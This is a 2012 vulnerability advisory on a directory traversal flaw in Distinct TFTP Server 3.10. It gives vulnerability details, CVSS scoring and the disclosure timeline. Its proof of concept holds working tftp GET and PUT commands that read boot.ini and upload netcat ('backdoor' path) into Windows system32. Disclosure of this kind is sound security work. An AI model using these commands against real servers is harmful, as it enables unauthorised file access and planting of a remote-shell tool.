Distinct TFTP Server: Directory Traversal Vulnerability

Overview

Distinct TFTP Server is part of Distinct Intranet Servers made by Distinct. Corp. We discovered that version 3.10 is susceptible to directory traversal attack. Attackers can exploit this vulnerability to retrieve or upload files outside the TFTP server root directory.

Software Description

From Distinct website:

Distinct Intranet Servers, which includes FTP Server, TFTP, LPD, BOOTP and NFS, bring quality server power to your network with no additional hardware investment. These servers allow you to make use of your PCs to share important services among your users.

Vulnerability Details and Attack Vector

The vulnerability is caused due to improper validation to GET and PUT Request containing dot dot slash (‘../’) sequences, which allows attackers to read or write arbitrary files.

By requesting a dot dot slash within the GET or PUT request, it is possible to retrieve operating system file such as boot.ini or upload file (errh, nc.exe?) to Windows %systemroot% (C:\WINDOWS\system32\).

Impact

A remote attacker may be able to leverage this vulnerability to gain access and has write access to system and other configuration files resulting in loss of confidentiality and integrity.

Proof of Concept

We assume that the directory’s location is deep enough, so you have to set a deep path on the server configuration. If a GET request followed with ‘../../’ (dot dot slash), trying to retrieve boot.ini file, is sent to Distinct TFTP Server 3.10, the file will be retrieved successfully.

hell:~ modpr0be$ tftp -e 10.211.55.5 69
tftp> get ../../../../../../../../../../../../../boot.ini
Received 211 bytes in 0.0 seconds
tftp>

Next, if we try to upload a file, let say Netcat (nc.exe), to Windows %systemroot% directory (C:\WINDOWS\system32\) using a PUT command, here is the result:

hell:~ modpr0be$ tftp -e 10.211.55.5 69
tftp> put /Pentest/backdoor/nc.exe ../../../../../../../../../../../../../../../Windows/system32/nc.exe
Sent 59392 bytes in 0.3 seconds
tftp>

Netcat successfully uploaded.

Another combinations:

tftp> get ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
tftp> put /Pentest/backdoor/nc.exe ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\nc.exe

Solution Status

Update to the latest version here

Risk Factor

CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Exploitability Subscore = 10
Impact Subscore = 4.9
CVSS Temporal Score = 5.2
Overall CVSS Score = 5.8
Risk factor = Medium

References

Original advisory: http://www.spentera.com/advisories/2012/SPN-01-2012.html
Exploit-DB advisory: <a title=”Distinct TFTP Server http://www.exploit-db.com/exploits/18718/

Disclosure Timeline

March 28, 2012, issue discovered
March 28, 2012, vendor contacted about the issue, no response
April 9, 2012, public advisory released

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